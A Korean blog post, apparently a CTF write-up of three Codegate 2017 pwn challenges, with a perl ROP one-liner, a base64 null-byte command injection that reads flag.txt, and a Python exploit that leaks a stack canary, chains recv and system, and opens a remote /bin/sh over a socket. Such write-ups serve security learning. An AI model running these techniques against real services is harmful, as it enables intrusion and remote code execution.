int $0x80

codegate 2017 본문

해킹공부/캡쳐더플래그

codegate 2017

cd80 cd80 2017.02.22 21:57
크리에이티브 커먼즈 라이선스
Creative Commons License

https://github.com/ctfs/write-ups-2017/tree/master/codegate-prequals-2017/pwn



meow

분석이 어려워보이지만 어려워보이는코드는 다 분석할필요가 없는 코드들입니다

그냥 md5 평문만 찾아내서 gdb로 0x12000이랑 0x14000코드를 보면 되는데

0x12000에서는 write(); read(0, rbp+0x8, 0x18) 을 하는데 처음에는 rbp-0x8로 봐서 아 리턴까지만 딱 덮게 해주네 라고 생각했는데 rbp+0x8이라서 이상함을 느꼈습니다

그래서 14000을 보니 execve가 있고 그 뒤에 /bin/sh랑 pop rdi;ret 이 있어서 그거 이용해서 풀면됩니다


(perl -e 'print "\$W337k!++y\n", "3\n", "\x36\x40\x01\x00\x00\x00\x00\x00", "\x29\x40\x01\x00\x00\x00\x00\x00", "\x00\x40\x01\x00\x00\x00\x00\x00"';cat)|./meow




babyMISC


첫스텝은 base64 encoded string은 다르지만 같은 decoded value를 만듭니다

바이너리에 비교대상 base64는 있으니 그걸 decode해서 뒤에 \x00 하나 붙여주면 길이는 같지만 다른 base64 문자열이 나옵니다

두번째스텝은 두개의 base64 decode string이 같지만 encoded string은 달라야 합니다 cd80, cd80\x00\x00\x00 으로 각각 넣어줍니다

세번째스텝은 filter문제인데 쉘에서 base64 -d  로 하면 널바이트를 무시해주기 때문에 \x00cat flag.txt\x00 한걸 넣었습니다


 ⚡ root@cd80  ~/tmp  ./BabyMISC 

[*] Ok, Let's Start. Input the write string on each stage!:)

[*] -- STAGE 01 ----------

[+] KEY : 


[+] Input > 

TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA

[*] USER : N0_m4n_c4l1_ag4in_Y3st3rd4y:(

[+] -- NEXT STAGE! ----------

[*] -- STAGE 02 ----------

[+] Input 1 

Y2Q4MAAA

[+] Input 2 

Y2Q4MAAAAA==

[+] -- NEXT STAGE! ----------

[*] -- STAGE 03 ----------

[+] Ok, It's easy task to you, isn't it? :)

[+] So I will give a chance to execute one command! :)

[*] Input > 

AGNhdCBmbGFnLnR4dAA=

#                                                       echo -n AGNhdCBmbGFnLnR4dAA= | base64 -d | sh

y0u_pwned_y0ur_b4by

 ⚡ root@cd80  ~/tmp  


babypwn


system함수가 바이너리안에 박혀있어서 카나리만 우회하면되는데 카나리는 A 41개 보내면 저한테 알려줍니다 넣고 /bin/sh만 recv하게 해서 실행합니다


from socket import *

from struct import pack,unpack

p = lambda x : pack("<L", x)

up = lambda x : unpack("<L", x)[0]



## get canary ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

s.send("A"*41)

print s.recv(4096)

ret = s.recv(4096)

canary = ret.split("\n===============================")[0].split("A"*41)[1]

canary = up('\x00'+canary)

print "canary: 0x%08x"%canary

s.close()


cmd = "/bin/sh 0<&4 1>&4 2>&4\x00"


## exploit ##

s = socket()

s.connect((gethostbyname("cd80.sexy"), 8181))

print s.recv(4096)

s.send("1\n")

print s.recv(4096)

payload = "A"*40

payload += p(canary)

payload += "A"*12


payload += p(0x80486e0) # recv@plt

payload += p(0x8048eec) # ppppr

payload += p(4)

payload += p(0x804b1b4) # bss

payload += p(len(cmd))

payload += p(0)


payload += p(0x8048620) # system

payload += p(0x41414141)

payload += p(0x804b1b4) # bss


s.send(payload)

print s.recv(4096)

s.send("3\n")

print s.recv(4096)

s.send(cmd)

while True:

    tmp = raw_input("$ ")

    if not len(tmp):

        continue

    else:

        s.send(tmp + "\n")

    print s.recv(4096)

s.close()


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

codegate 2017  (0) 2017.02.22
HITCON 2015 matrix  (0) 2015.10.23
WhiteHat Contest 2015 cd80  (6) 2015.10.12
LeaveRet JFF Season3 pwnable vaja  (1) 2015.07.26
Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
0 Comments
댓글쓰기 폼